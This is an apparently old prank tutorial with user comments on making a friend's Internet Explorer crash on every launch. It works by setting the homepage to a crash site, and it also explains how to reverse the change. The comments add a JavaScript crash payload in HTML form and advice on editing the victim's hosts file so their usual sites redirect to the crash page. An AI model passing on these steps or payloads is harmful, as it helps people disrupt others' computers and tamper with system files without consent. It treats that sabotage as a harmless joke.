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How to Make Someone's Internet Explorer Crash Everytime They Open It

this is a good prank for you to pull on your friends that will crash when they start internet explorer
 
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Step 1: Open settings window

go to tools-> internet options

Step 2: Seting it up

change the home page to http://crashie.com/ (this is a site that has a code that will crash almost every internet explorer version) then press ok

Step 3: The result

now every time you open internet explorer, it crashes. so that means you can't change the options which means you can't go on any websites forever!!! because the internet explorer is screwed and you can't download other browsers that isn't screwed. so you or someone else that knows how has to fix it. (i will show u how to fix it)

Step 4: How to fix it

to fix it, you have to disconnect the internet somehow.
there is 2 ways to do it:

go to control panel and swich to classic view. then go to network connections. next, right click the icon(s) and click disable. OR just unplug the internet cable

then go to internet explorer and change the homepage so it is not crashie.com, because there is no internet, internet explorer can't open the page that crashes it.

Step 5: How to make it better/wost depending

download another browser like Firefox that won't crash when you view crashie.com and save it onto disk. then change the homepage to the directory (like c:\crashie.hmtl)

i haven't test it yet so tell me

to fix it just delete the file
bofthem6 years ago
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jamie503 years ago
or you could just press "start" then "favorites" and then click on one of your favorites then after it loads click on "tools" then "internet options" and type in the previous home page.
Weird, it doesn't crash IE8!
I got the crashing code in the very beginning of the source code:
<script>for(x in document.write){document.write(x);}</script><input type crash>
To do it in notepad:
<html>
<script>for(x in document.write){document.write(x);}</script><input type crash>
</html>


Will that crash Firefox?
You may also modify the hosts file in:
C:\Windows\System32drivers\etc\hosts
or Start>Run>
and type: "notepad C:\Windows\System32drivers\etc\hosts" minus the quotes
once opened, add to the bottom of the file:

(crashie.com IP address)                            (victim's frequently visited sites)

Tell me if it works!

Tailslvr7_76 years ago
Very good! But sorry to "burst your bubble" , but there is an loophole to this. All you have to do is create a shortcut to any website (do this by making a regular shortcut on your computer, but put a website as the location) and that will bypass your home page, making IE not crashing when opened!
well, you could delete the shortcuts first
 I think the point is that the people ur doing this to arn't computer savy and wont think of that
ERNesbitt6 years ago
There's another way... just load Vista and wait.
Or, in the case of my school's less-than-ideal wi-fi connection, load YouTube and wait. ; )
OR try and put a thumb drive in to vista and wait. hang on, no need, crashes instantly
someone26 years ago
What about going to internet properties in control pannel and changing homepage there? Will anyone not think of doing that? I certainly would.
ooda55 someone25 years ago
even quicker make a shortcut on the desktop to www.google.com and open tht then change ur hompage bak duhhhh lol
haha, thats a terrible thing to do! But it's funny, lol. How many poor souls have you pranked? ;-)
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